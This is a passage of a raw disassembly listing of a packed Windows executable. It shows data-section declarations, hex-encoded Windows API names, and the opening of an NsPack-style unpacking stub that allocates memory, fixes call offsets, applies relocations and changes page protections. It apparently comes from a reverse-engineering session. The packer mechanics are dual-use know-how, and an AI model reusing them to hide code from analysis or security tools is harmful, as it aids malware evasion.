dword_42D918 dd 71AB5A01h ; DATA XREF: sub_4045F0+4C8w
; sub_4045F0+64Cr ...
dword_42D91C dd 71B2ACCBh ; DATA XREF: sub_4045F0+AA0w
; sub_4045F0+AC1r
dword_42D920 dd 77E78C17h ; DATA XREF: sub_4045F0+31w
; sub_4045F0+ADr ...
dword_42D924 dd 77D49A11h ; DATA XREF: sub_4045F0+17Fw
; sub_4045F0+1CAr
dword_42D928 dd 76D62A37h ; DATA XREF: sub_4045F0+8AFw
; sub_4045F0+8C3r ...
dword_42D92C dd 77E6CBF9h ; DATA XREF: sub_4045F0+99w
; sub_4045F0+EAr ...
dword_42D930 dd 0 ; DATA XREF: sub_4045F0:loc_4046EEw
; sub_4045F0+12Bw
dword_42D934 dd 0 ; DATA XREF: sub_4045F0+126w
dword_42D938 dd 0 ; DATA XREF: sub_4045F0:loc_4047EBw
dword_42D93C dd 0 ; DATA XREF: sub_4045F0+1F6w
dword_42D940 dd 0 ; DATA XREF: sub_4045F0:loc_404880w
; sub_4045F0:loc_4048C5w ...
dword_42D944 dd 0 ; DATA XREF: sub_4045F0+3A6w
dword_42D948 dd 0 ; DATA XREF: sub_4045F0:loc_404A7Cw
dword_42D94C dd 0 ; DATA XREF: sub_4045F0+487w
dword_42D950 dd 0 ; DATA XREF: sub_4045F0:loc_404D4Dw
dword_42D954 dd 0 ; DATA XREF: sub_4045F0+758w
dword_42D958 dd 0 ; DATA XREF: sub_4045F0:loc_404E38w
; sub_4045F0+877w ...
dword_42D95C dd 0 ; DATA XREF: sub_4045F0+872w
dword_42D960 dd 0 ; DATA XREF: sub_4045F0:loc_404ECCw
; sub_4077FD:loc_409152r
dword_42D964 dd 0 ; DATA XREF: sub_4045F0+8D7w
dword_42D968 dd 0 ; DATA XREF: sub_4045F0:loc_404FD7w
; sub_4069FF+170r ...
dword_42D96C dd 0 ; DATA XREF: sub_4045F0+9E2w
dword_42D970 dd 0 ; DATA XREF: sub_4045F0:loc_405021w
dword_42D974 dd 0 ; DATA XREF: sub_4045F0+A2Cw
dword_42D978 dd 0 ; DATA XREF: sub_4045F0:loc_40506Bw
dword_42D97C dd 0 ; DATA XREF: sub_4045F0+A76w
dword_42D980 dd 0 ; DATA XREF: sub_4045F0:loc_4050DFw
dword_42D984 dd 0 ; DATA XREF: sub_4045F0+AEAw
dword_42D988 dd 0 ; DATA XREF: sub_4045F0:loc_405129w
dword_42D98C dd 0 ; DATA XREF: sub_4045F0+B34w
dword_42D990 dd 0 ; DATA XREF: sub_4045F0:loc_4051C7w
dword_42D994 dd 0 ; DATA XREF: sub_4045F0+BD2w
align 10h
dword_42D9A0 dd 118h dup(0) ; DATA XREF: sub_40530E+6Ao
dword_42DE00 dd 0 ; DATA XREF: sub_4056A3+45w
; sub_4056A3+4Dr ...
dd 99h dup(0)
byte_42E068 db 0 ; DATA XREF: sub_4056A3+29r
; sub_4056A3+34w
align 4
dd 101h dup(0)
dword_42E470 dd 4 dup(0) ; DATA XREF: sub_4058DC+32o
dword_42E480 dd 82h dup(0) ; DATA XREF: sub_4067E1+8Do
dword_42E688 dd 0 ; DATA XREF: sub_40304D+Ao
; sub_40304D+44r ...
dd 5 dup(0)
dword_42E6A0 dd 0 ; DATA XREF: sub_40304D+60r
; sub_4077FD+881r
dd 2D9h dup(0)
dword_42F208 dd 0 ; DATA XREF: sub_40154B+6Br
; sub_40304D+2Do ...
dd 7Fh dup(0)
dword_42F408 dd 0 ; DATA XREF: sub_40C062+4Cw
; sub_40C19D+3Aw ...
dword_42F40C dd 0 ; DATA XREF: sub_40154B:loc_4016E1r
; sub_401704+12Cw ...
dword_42F410 dd 0 ; DATA XREF: sub_40C062+45w
; sub_40C19D+34r ...
dword_42F414 dd 0 ; DATA XREF: sub_403B83+Cr
; sub_406055+7Bw ...
dword_42F418 dd 0 ; DATA XREF: sub_4061D2+11Ew
; sub_4063A4+53r ...
dword_42F41C dd 0 ; DATA XREF: sub_401141+11Fw
; sub_401141+244w ...
byte_42F420 db 0 ; DATA XREF: sub_40752C+91o
; sub_40C062+59w ...
align 4
dd 1789h dup(0)
db 0
byte_435249 db 3 dup(0) ; DATA XREF: .nsp0:off_41D754o
dd 4141h dup(0)
dword_445750 dd 0F126h dup(0) ; DATA XREF: .nsp0:off_41C280o
dword_481BE8 dd 1Bh ; DATA XREF: sub_401000:loc_40106Er
; sub_407041+42w ...
align 10h
dword_481BF0 dd 0 ; DATA XREF: sub_407041+407o
dword_481BF4 dd 20h dup(0) ; DATA XREF: sub_407041+394o
dword_481C74 dd 10h dup(0) ; DATA XREF: sub_407041+3ABo
dword_481CB4 dd 24h dup(0) ; DATA XREF: sub_407041+3C2o
dword_481D44 dd 0 ; DATA XREF: sub_407041+3B6w
; sub_407041+467w ...
dword_481D48 dd 0 ; DATA XREF: sub_407041+3D5w
dd 2 dup(0)
db 0
byte_481D55 db 0 ; DATA XREF: sub_407681+28r
; sub_407681+30o
align 4
dword_481D58 dd 0 ; DATA XREF: sub_407041:loc_407441w
; sub_407041+41Dr ...
dword_481D5C dd 0 ; DATA XREF: sub_407041+38Dw
; sub_4077FD+7F4r
dword_481D60 dd 0Eh dup(0) ; DATA XREF: sub_40B6FE+3Eo
dword_481D98 dd 0 ; DATA XREF: sub_40CEB9+Aw
align 10h
dword_481DA0 dd 0 ; DATA XREF: sub_40E2E2+5Er
; sub_40E2E2+A4w
align 8
word_481DA8 dw 0 ; DATA XREF: sub_40E2E2+55r
; sub_40E2E2+9Ao
word_481DAA dw 0 ; DATA XREF: sub_40E2E2+48r
db 2 dup(0)
word_481DAE dw 0 ; DATA XREF: sub_40E2E2+3Br
word_481DB0 dw 0 ; DATA XREF: sub_40E2E2+2Er
word_481DB2 dw 0 ; DATA XREF: sub_40E2E2+21r
align 8
dword_481DB8 dd 0 ; DATA XREF: sub_40E6E9+3Br
; sub_40E6E9+91w
dword_481DBC dd 0 ; DATA XREF: sub_40DE14+2Bw
; sub_40E0C3+1B9w ...
dword_481DC0 dd 0 ; DATA XREF: sub_40DE14+35w
; sub_412BBE:loc_412C58w ...
dword_481DC4 dd 0 ; DATA XREF: sub_4157AA+13Ar
dword_481DC8 dd 0A28h ; DATA XREF: sub_40EB84+52w
dword_481DCC dd 501h ; DATA XREF: sub_40EB84+49w
dword_481DD0 dd 5 ; DATA XREF: sub_40EB84+3Ew
dword_481DD4 dd 1 ; DATA XREF: sub_40EB84+30w
dword_481DD8 dd 1 ; DATA XREF: sub_407041:loc_407324r
; sub_414034+91w
dword_481DDC dd 340B20h ; DATA XREF: sub_407041+2ECr
; sub_407041+30Cr ...
dd 0
dword_481DE4 dd 340B48h ; DATA XREF: sub_413F7B+44w
; sub_416D53+9r ...
dword_481DE8 dd 0 ; DATA XREF: sub_40C2A4+16o
; sub_40C2C3+19o ...
dword_481DEC dd 0 ; DATA XREF: sub_40C257+3Do
; sub_416D53+16r ...
dd 0
off_481DF4 dd offset aCM_unpackerPac ; DATA XREF: sub_414034+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_481DFC db 0 ; DATA XREF: sub_40E7D4+2Dw
; sub_414A88+5r
align 10h
dword_481E00 dd 0 ; DATA XREF: sub_40E7D4+27w
dword_481E04 dd 0 ; DATA XREF: sub_40E7D4+4r
; sub_40E7D4+8Bw
dword_481E08 dd 0 ; DATA XREF: sub_40EB84+84w
; sub_413F7B:loc_413F8Dr ...
align 10h
dword_481E10 dd 0 ; DATA XREF: sub_40EC7Ar sub_40EC9Fr ...
dword_481E14 dd 0 ; DATA XREF: sub_40CCCFr
; sub_40DB08:loc_40DC24r ...
dword_481E18 dd 0 ; DATA XREF: sub_410093r
dword_481E1C dd 0 ; DATA XREF: sub_410F61+4Bw
; sub_41107A+2Dw ...
dword_481E20 dd 0 ; DATA XREF: sub_411EAC+11r
; sub_411FB0+1Ar ...
byte_481E24 db 0 ; DATA XREF: sub_411EAC+3r
; sub_411EAC+98r ...
align 4
dword_481E28 dd 0 ; DATA XREF: sub_411FB0+11r
; sub_41208E+21w ...
byte_481E2C db 0 ; DATA XREF: sub_41208E+51w
align 10h
dword_481E30 dd 0 ; DATA XREF: sub_412284+4Er
; sub_41265F+3Ar ...
dword_481E34 dd 0 ; DATA XREF: sub_412284+5Cr
; sub_41265F+43r ...
dword_481E38 dd 0 ; DATA XREF: sub_40D142+7Ar
; sub_41242B+5r
dword_481E3C dd 0 ; DATA XREF: sub_412A3C+29r
dword_481E40 dd 1 ; DATA XREF: sub_413455+28r
; sub_413455+4Cw ...
dd 2 dup(0)
dword_481E4C dd 0 ; DATA XREF: sub_40E530+4r
; sub_40E530+9Dr ...
dd 3 dup(0)
dword_481E5C dd 0 ; DATA XREF: sub_413455+C0r
; sub_413812+3Ar ...
dd 0
dword_481E64 dd 1 ; DATA XREF: sub_413679:loc_4137F4r
; sub_413812+4w ...
dword_481E68 dd 0 ; DATA XREF: sub_413AE3+37r
align 10h
dword_481E70 dd 0 ; DATA XREF: sub_413D9F+3Ar
; sub_413D9F+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_414034:loc_41404Bo
; .nsp0:off_481DF4o
align 10h
dd 3Ah dup(0)
dword_481F78 dd 1 ; DATA XREF: sub_414281+2r
; sub_414281+23w ...
dword_481F7C dd 0 ; DATA XREF: sub_414640+21r
dword_481F80 dd 0 ; DATA XREF: sub_413078+154w
; sub_413AE3:loc_413B0Cw ...
align 8
word_481F88 dw 0 ; DATA XREF: sub_415259+1Ao
; sub_415259+46r
byte_481F8A db 0 ; DATA XREF: sub_415259+39r
align 4
dword_481F8C dd 7 dup(0) ; DATA XREF: sub_415259+52o
dword_481FA8 dd 0 ; DATA XREF: sub_415259+40w
; sub_415259+5Co
dword_481FAC dd 0 ; DATA XREF: sub_415259+4Dw
dword_481FB0 dd 0 ; DATA XREF: sub_415259+31w
dword_481FB4 dd 0 ; DATA XREF: sub_415259+52w
dword_481FB8 dd 77C26E79h ; DATA XREF: sub_41537C:loc_41539Fr
; sub_41537C+38r ...
dword_481FBC dd 1 ; DATA XREF: sub_415447+26r
; sub_415447:loc_4154B1w
dword_481FC0 dd 0 ; DATA XREF: sub_413078+7r
align 8
dword_481FC8 dd 0 ; DATA XREF: sub_415A78+11w
; sub_415A78+63w ...
align 10h
dword_481FD0 dd 0 ; DATA XREF: sub_415A78+33o
; sub_415A78+46r
dword_481FD4 dd 10h dup(0) ; DATA XREF: sub_415A78+C1o
word_482014 dw 0 ; DATA XREF: sub_415CD6+A8r
word_482016 dw 0 ; DATA XREF: sub_415A78+54r
; sub_415CD6+DBr ...
word_482018 dw 0 ; DATA XREF: sub_415CD6+CAr
word_48201A dw 0 ; DATA XREF: sub_415CD6+D3r
; sub_415CD6:loc_415DC8r
word_48201C dw 0 ; DATA XREF: sub_415CD6+C0r
word_48201E dw 0 ; DATA XREF: sub_415CD6+B8r
word_482020 dw 0 ; DATA XREF: sub_415CD6+B0r
word_482022 dw 0 ; DATA XREF: sub_415CD6+9Er
dword_482024 dd 0 ; DATA XREF: sub_415A78+4Br
dword_482028 dd 10h dup(0) ; DATA XREF: sub_415A78+FBo
word_482068 dw 0 ; DATA XREF: sub_415CD6+46r
word_48206A dw 0 ; DATA XREF: sub_415A78:loc_415AEFr
; sub_415CD6+78r ...
word_48206C dw 0 ; DATA XREF: sub_415CD6+67r
word_48206E dw 0 ; DATA XREF: sub_415CD6+70r
; sub_415CD6:loc_415D5Ar
word_482070 dw 0 ; DATA XREF: sub_415CD6+5Dr
word_482072 dw 0 ; DATA XREF: sub_415CD6+55r
word_482074 dw 0 ; DATA XREF: sub_415CD6+4Dr
word_482076 dw 0 ; DATA XREF: sub_415CD6+3Er
dword_482078 dd 0 ; DATA XREF: sub_415A78+80r
dword_48207C dd 0 ; DATA XREF: sub_415A78+132r
; sub_415A78:loc_415BC4r ...
dword_482080 dd 0 ; DATA XREF: sub_415A63r sub_415A63+Ew
dword_482084 dd 0 ; DATA XREF: sub_416004+3r
; sub_416004+2Ew ...
dword_482088 dd 0 ; DATA XREF: sub_416004+43w
; sub_416004:loc_416053r
dword_48208C dd 0 ; DATA XREF: sub_416004+4Aw
; sub_416004+60r
dword_482090 dd 0 ; DATA XREF: sub_416A9B:loc_416B02r
; sub_416A9B+6Do
dword_482094 dd 0 ; DATA XREF: sub_416A9B:loc_416AD9r
; sub_416A9B+44o
dword_482098 dd 0 ; DATA XREF: sub_416A9B:loc_416ACCr
; sub_416A9B+37o
dword_48209C dd 0 ; DATA XREF: sub_416A9B:loc_416AE6r
; sub_416A9B+51o
dd 0
dword_4820A4 dd 0 ; DATA XREF: sub_4157AA+3Fr
dword_4820A8 dd 0 ; DATA XREF: sub_41718F+28r
; sub_41718F+48w ...
byte_4820AC db 1 ; DATA XREF: sub_402951r sub_402951+9w ...
align 10h
dword_4820B0 dd 341110h ; DATA XREF: sub_412D3C:loc_412D4Dr
; sub_4131E8+14r ...
align 10h
dword_4820C0 dd 400h dup(0) ; DATA XREF: .nsp0:off_422390o
; .nsp0:00422398o
dword_4830C0 dd 200h ; DATA XREF: sub_412D3C+9r
; sub_412D3C+56r ...
dd 7 dup(0)
dword_4830E0 dd 340650h ; DATA XREF: sub_40ECC3+B1r
; sub_412DA9+75r ...
dword_4830E4 dd 3Fh dup(0) ; DATA XREF: sub_4143B3+92o
dword_4831E0 dd 20h ; DATA XREF: sub_412BBE+8r
; sub_412E82+Cr ...
dword_4831E4 dd 4E4h ; DATA XREF: sub_413679+14r
; sub_413679+65w ...
align 10h
dword_4831F0 dd 3 dup(0) ; DATA XREF: sub_413679+123o
; sub_413679+171o ...
dword_4831FC dd 0 ; DATA XREF: sub_413679+108w
; sub_413679+15Dw ...
byte_483200 db 0 ; DATA XREF: sub_4138B8:loc_4139C4w
; sub_4138B8:loc_4139E1w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_483300 db 0 ; DATA XREF: sub_413679+5Co
; sub_413679+AFo ...
byte_483301 db 0 ; DATA XREF: sub_40E887+5Dr
; sub_413679+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_483404 dd 0 ; DATA XREF: sub_413679+6Ew
; sub_413679+12Bw ...
dword_483408 dd 0 ; DATA XREF: sub_410280+3Cw
; sub_410925+5r ...
dword_48340C dd 0 ; DATA XREF: sub_4102F3+23Ar
; sub_4102F3+25Ar ...
dword_483410 dd 0 ; DATA XREF: sub_410280+31w
; sub_4102F3+311w ...
dword_483414 dd 0 ; DATA XREF: sub_410280+21w
; sub_4102F3+22Dr ...
dword_483418 dd 0 ; DATA XREF: sub_410280+28w
; sub_4102C8r ...
dword_48341C dd 0 ; DATA XREF: sub_410280+15w
; sub_4102C8+8r ...
dword_483420 dd 0 ; DATA XREF: sub_40CD0D+Fr
; sub_40DB08+5Cr ...
dword_483424 dd 340000h ; DATA XREF: sub_40CD0D+66r
; sub_40CD81+5Ar ...
dword_483428 dd 1 ; DATA XREF: sub_40CD0Dr sub_40CD81+Cr ...
dword_48342C dd 142340h ; DATA XREF: sub_40EB84+7Aw
; sub_413F23+Fr ...
dword_483430 dd 1 ; DATA XREF: sub_413F7B+ADw
; sub_416D53r
dword_483434 dd 1 ; DATA XREF: sub_413A3Dr
; sub_413A3D+11w ...
dword_483438 dd 340764h ; DATA XREF: sub_40D7A3+13r
; sub_40D7A3:loc_40D7E5r ...
dword_48343C dd 340758h ; DATA XREF: sub_40D7A3+1r
; sub_40D7A3+Cr ...
byte_483440 db 1 ; DATA XREF: sub_417A34+15r
; sub_417A34+1Ew
align 4
dd 2EFh dup(0)
dd 71h, 0
dd 18000h, 0D02E683Ch, 662EF992h, 0E79C6CEBh, 0E1313D06h
dd 99377DE6h, 1A1F0049h, 0FC897506h, 63B8B55Bh, 0D8FC378Ch
dd 146093FDh, 9776906Fh, 96D9E21Ah, 0CE2434ABh, 0B7B4904Ch
dd 56289D57h, 0FEC45B13h, 0EB06061Ah, 2F3E97F8h, 387A083Dh
dd 260B5E86h, 6960A34h, 0F90582F2h, 81033F9Fh, 2E1B184h
dd 1577E677h, 2100h, 0D00h, 1818400h, 5ADA3600h, 0F88DE2CEh
dd 908D5D46h, 90F4226Dh, 71AB1B7Bh, 5, 3 dup(0)
dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 45746553h
dd 7269766Eh, 656D6E6Fh, 6156746Eh, 62616972h, 4341656Ch
dd 61706D6Fh, 74536572h, 676E6972h, 6D6F4357h, 65726170h
dd 69727453h, 5341676Eh, 6E457465h, 46664F64h, 46656C69h
dd 6873756Ch, 656C6946h, 66667542h, 53737265h, 74537465h
dd 6E614864h, 47656C64h, 74537465h, 676E6972h, 65707954h
dd 74654757h, 69727453h, 7954676Eh, 49416570h, 64614273h
dd 65646F43h, 49727450h, 64614273h, 64616552h, 53727450h
dd 6E557465h, 646E6168h, 4564656Ch, 70656378h, 6E6F6974h
dd 746C6946h, 65477265h, 6C694674h, 70795465h, 74654765h
dd 48647453h, 6C646E61h, 74655365h, 646E6148h, 6F43656Ch
dd 47746E75h, 6E457465h, 6F726976h, 6E656D6Eh, 72745374h
dd 73676E69h, 656C5357h, 65477065h, 73614C74h, 72724574h
dd 7243726Fh, 65746165h, 65726854h, 65476461h, 646F4D74h
dd 46656C75h, 4E656C69h, 41656D61h, 74697845h, 65726854h
dd 654C6461h, 43657661h, 69746972h, 536C6163h, 69746365h
dd 6E456E6Fh, 43726574h, 69746972h, 536C6163h, 69746365h
dd 65476E6Fh, 63695474h, 756F436Bh, 6E49746Eh, 61697469h
dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 416E6F69h
dd 7053646Eh, 6F436E69h, 44746E75h, 74656C65h, 69724365h
dd 61636974h, 6365536Ch, 6E6F6974h, 4C746547h, 6C61636Fh
dd 656D6954h, 72657551h, 72655079h, 6D726F66h, 65636E61h
dd 6E756F43h, 51726574h, 79726575h, 66726550h, 616D726Fh
dd 4665636Eh, 75716572h, 79636E65h, 74697845h, 636F7250h
dd 43737365h, 74616572h, 6F725065h, 73736563h, 6F6C4341h
dd 61486573h, 656C646Eh, 74697257h, 6C694665h, 65724365h
dd 46657461h, 41656C69h, 53746547h, 65747379h, 7269446Dh
dd 6F746365h, 4C417972h, 4C64616Fh, 61726269h, 47417972h
dd 72507465h, 6441636Fh, 73657264h, 74654773h, 75646F4Dh
dd 6148656Ch, 656C646Eh, 726F4641h, 4D74616Dh, 61737365h
dd 47416567h, 61626F6Ch, 6C6E556Ch, 476B636Fh, 61626F6Ch
dd 636F4C6Ch, 6D6E556Bh, 69567061h, 664F7765h, 656C6946h
dd 5670614Dh, 4F776569h, 6C694666h, 65724365h, 46657461h
dd 4D656C69h, 69707061h, 5341676Eh, 69467465h, 6954656Ch
dd 6547656Dh, 6C694674h, 6D695465h, 70784565h, 45646E61h
dd 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h, 65534173h
dd 6C694674h, 74744165h, 75626972h, 41736574h, 46746547h
dd 41656C69h, 69727474h, 65747562h, 65474173h, 6D655474h
dd 74615070h, 69574168h, 68436564h, 6F547261h, 746C754Dh
dd 74794269h, 6C754D65h, 79426974h, 6F546574h, 65646957h
dd 72616843h, 43746547h, 75706D6Fh, 4E726574h, 41656D61h
dd 43746547h, 65727275h, 7250746Eh, 7365636Fh, 72655473h
dd 616E696Dh, 72506574h, 7365636Fh, 65704F73h, 6F72506Eh
dd 73736563h, 56746547h, 69737265h, 78456E6Fh, 74654741h
dd 69676F4Ch, 446C6163h, 65766972h, 6C654473h, 46657465h
dd 41656C69h, 43746547h, 65727275h, 7250746Eh, 7365636Fh
dd 43644973h, 4679706Fh, 41656C69h, 74696157h, 53726F46h
dd 6C676E69h, 6A624F65h, 43746365h, 74616572h, 74754D65h
dd 4D417865h, 4665766Fh, 41656C69h, 626F6C47h, 654D6C61h
dd 79726F6Dh, 74617453h, 65477375h, 6D695474h, 726F4665h
dd 4174616Dh, 44746547h, 46657461h, 616D726Fh, 65544174h
dd 6E696D72h, 54657461h, 61657268h, 61654864h, 6C6C4170h
dd 6548636Fh, 72467061h, 74526565h, 776E556Ch, 48646E69h
dd 52706165h, 6C6C4165h, 6547636Fh, 6D695474h, 6E6F5A65h
dd 666E4965h, 616D726Fh, 6E6F6974h, 53746547h, 65747379h
dd 6D69546Dh, 74654765h, 72617453h, 49707574h, 416F666Eh
dd 43746547h, 616D6D6Fh, 694C646Eh, 4741656Eh, 65567465h
dd 6F697372h, 7465476Eh, 69766E45h, 6D6E6F72h, 56746E65h
dd 61697261h, 41656C62h, 70616548h, 74736544h, 48796F72h
dd 43706165h, 74616572h, 72695665h, 6C617574h, 65657246h
dd 74726956h, 416C6175h, 636F6C6Ch, 61427349h, 69725764h
dd 74506574h, 69615272h, 78456573h, 74706563h, 486E6F69h
dd 53706165h, 52657A69h, 46646165h, 4C656C69h, 70614D43h
dd 69727453h, 4C41676Eh, 70614D43h, 69727453h, 4757676Eh
dd 50437465h, 6F666E49h, 41746547h, 65475043h, 4D454F74h
dd 65535043h, 6C694674h, 696F5065h, 7265746Eh, 61686E55h
dd 656C646Eh, 63784564h, 69747065h, 69466E6Fh, 7265746Ch
dd 65657246h, 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h
dd 46417367h, 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh
dd 676E6972h, 65475773h, 766E4574h, 6E6F7269h, 746E656Dh
dd 69727453h, 0FF73676Eh, 80000074h, 73FFh, 0AFF80h, 2FF8000h
dd 0FF800000h, 8000000Dh, 1FFh, 0BFF80h, 9FF8000h, 0FF800000h
dd 80000004h, 15FFh, 10FF80h, 3FF8000h, 0FF800000h, 80000017h
dd 13FFh, 12FF80h, 97FF8000h, 800000h, 264h dup(0)
_nsp0 ends
; Section 2. (virtual address 00085000)
; Virtual size : 00010000 ( 65536.)
; Section size in file : 00010000 ( 65536.)
; Offset to raw data for section: 00085000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp1 segment para public 'CODE' use32
assume cs:_nsp1
;org 485000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
dd 906h, 0
dd 84000h, 0
dd 40h, 0
dd 71AB0000h, 7 dup(0)
dd 340000h, 0
dd offset sub_401000
align 8
dd 86Ah, 0
dd 111h, 6 dup(0)
dd 2, 168h, 2 dup(0)
dd 1, 0
dd offset sub_401000
dd 0
dd 0ECE1h, 3 dup(0)
dd 77E805D8h, 77E7A5FDh, 77E6169Ah, 77E7980Ah, 77E79E34h
dd 77E75CB5h, 0
dd 71AB1836h, 4 dup(0)
dd 850FCh, 8509Ch, 3 dup(0)
dd 85109h, 850B8h, 5 dup(0)
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh
dd 4C4C44h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 74654700h
dd 636F7250h, 72646441h, 737365h, 69560000h, 61757472h
dd 6F72506Ch, 74636574h, 56000000h, 75747269h, 6C416C61h
dd 636F6Ch, 69560000h, 61757472h, 6572466Ch, 65h, 74697845h
dd 636F7250h, 737365h, 20020000h, 0
dd 16Eh, 2000010h, 0E8000000h, 19h, 4B000180h, 1C9F8968h
; ---------------------------------------------------------------------------
scasb
mov gs, si
; =============== S U B R O U T I N E =======================================
public start
start proc near
; FUNCTION CHUNK AT 00485553 SIZE 00000009 BYTES
pushf
pusha
call $+5
pop ebp
sub ebp, 7
lea ecx, [ebp-117h]
cmp byte ptr [ecx], 1
jz loc_4853EF
mov byte ptr [ecx], 1
mov eax, ebp
sub eax, [ebp-183h]
mov [ebp-183h], eax
add [ebp-153h], eax
lea esi, [ebp-10Fh]
add [esi], eax
push ebp
push esi
push 40h
push 1000h
push 1000h
push 0
call dword ptr [ebp-0EBh]
test eax, eax
jz loc_485553
mov [ebp-15Bh], eax
call $+5
pop ebx
mov ecx, 367h
add ebx, ecx
push eax
push ebx
call sub_4854B4
pop esi
pop ebp
mov esi, [esi]
mov edi, ebp
add edi, [ebp-193h]
mov ebx, edi
cmp dword ptr [edi], 0
jnz short loc_485221
add edi, 4
mov ecx, 0
jmp short loc_485237
; ---------------------------------------------------------------------------
loc_485221: ; CODE XREF: start+82j
mov ecx, 1
add edi, [ebx]
add ebx, 4
loc_48522B: ; CODE XREF: start+CFj
cmp dword ptr [ebx], 0
jz short loc_485264
add [ebx], edx
mov esi, [ebx]
add edi, [ebx+4]
loc_485237: ; CODE XREF: start+8Cj
push edi
push ecx
push ebx
push dword ptr [ebp-0E7h]
push dword ptr [ebp-0EBh]
mov edx, esi
mov ecx, edi
mov eax, [ebp-15Bh]
add eax, 5AAh
call eax
pop ebx
pop ecx
pop edi
cmp ecx, 0
jz short loc_485264
add ebx, 8
jmp short loc_48522B
; ---------------------------------------------------------------------------
loc_485264: ; CODE XREF: start+9Bj start+CAj
push 8000h
push 0
push dword ptr [ebp-15Bh]
call dword ptr [ebp-0E7h]
lea esi, [ebp-153h]
mov ecx, [esi+8]
lea edx, [esi+10h]
mov esi, [esi]
mov edi, esi
cmp ecx, 0
jz short loc_4852CB
loc_48528C: ; CODE XREF: start+100j start+10Ej
mov al, [edi]
inc edi
sub al, 0E8h
loc_485291: ; CODE XREF: start+136j
cmp al, 1
ja short loc_48528C
mov eax, [edi]
cmp byte ptr [edx+1], 0
jz short loc_4852B1
mov bl, [edx]
cmp [edi], bl
jnz short loc_48528C
mov bl, [edi+4]
shr ax, 8
rol eax, 10h
xchg al, ah
jmp short loc_4852BB
; ---------------------------------------------------------------------------
loc_4852B1: ; CODE XREF: start+108j
mov bl, [edi+4]
xchg al, ah
rol eax, 10h
xchg al, ah
loc_4852BB: ; CODE XREF: start+11Cj
sub eax, edi
add eax, esi
mov [edi], eax
add edi, 5
sub bl, 0E8h
mov eax, ebx
loop loc_485291
loc_4852CB: ; CODE XREF: start+F7j
call sub_48540A
lea ecx, [ebp-13Fh]
mov eax, [ecx+8]
cmp eax, 0
jz loc_485363
mov esi, edx
sub esi, [ecx+10h]
jz short loc_485363
mov [ecx+10h], esi
lea esi, [ebp-10Fh]
mov esi, [esi]
lea ebx, [esi-4]
mov eax, [ecx]
cmp eax, 1
jz short loc_485308
mov edi, edx
add edi, [ecx+8]
mov ecx, [ecx+10h]
jmp short loc_485310
; ---------------------------------------------------------------------------
loc_485308: ; CODE XREF: start+169j
mov edi, esi
add edi, [ecx+8]
mov ecx, [ecx+10h]
loc_485310: ; CODE XREF: start+173j start+18Ej
xor eax, eax
mov al, [edi]
inc edi
or eax, eax
jz short loc_485339
cmp al, 0EFh
ja short loc_485323
loc_48531D: ; CODE XREF: start+19Dj start+1A4j
add ebx, eax
add [ebx], ecx
jmp short loc_485310
; ---------------------------------------------------------------------------
loc_485323: ; CODE XREF: start+188j
and al, 0Fh
shl eax, 10h
mov ax, [edi]
add edi, 2
or eax, eax
jnz short loc_48531D
mov eax, [edi]
add edi, 4
jmp short loc_48531D
; ---------------------------------------------------------------------------
loc_485339: ; CODE XREF: start+184j
xor ebx, ebx
xchg edi, esi
mov eax, [esi]
cmp eax, 0
jz short loc_485363
loc_485344: ; CODE XREF: start+1BCj
lodsd
or eax, eax
jz short loc_485351
add ebx, eax
add [edi+ebx], cx
jmp short loc_485344
; ---------------------------------------------------------------------------
loc_485351: ; CODE XREF: start+1B4j
xor ebx, ebx
shr ecx, 10h
loc_485356: ; CODE XREF: start+1CEj
lodsd
or eax, eax
jz short loc_485363
add ebx, eax
add [edi+ebx], cx
jmp short loc_485356
; ---------------------------------------------------------------------------
loc_485363: ; CODE XREF: start+149j start+154j ...
lea esi, [ebp-183h]
mov edx, [esi]
lea esi, [ebp-127h]
mov al, [esi]
cmp al, 1
jnz short loc_4853B6
add edx, [esi+4]
push esi
push edx
push esi
push 4
push 100h
push edx
call dword ptr [ebp-0EFh]
pop edi
pop esi
cmp eax, 1
jnz loc_485553
add esi, 8
mov ecx, 8
rep movsb
sub esi, 0Ch
sub edi, 8
push esi
push dword ptr [esi-4]
push 100h
push edi
call dword ptr [ebp-0EFh]
loc_4853B6: ; CODE XREF: start+1E2j
push ebp
pop ebx
sub ebx, 21h
xor ecx, ecx
mov cl, [ebx]
cmp cl, 0
jz short loc_4853EF
inc ebx
lea esi, [ebp-183h]
mov edx, [esi]
loc_4853D0: ; CODE XREF: start+25Aj
push esi
push ecx
push ebx
push edx
push esi
push dword ptr [ebx]
push dword ptr [ebx+4]
mov eax, [ebx+8]
add eax, edx
push eax
call dword ptr [ebp-0EFh]
pop edx
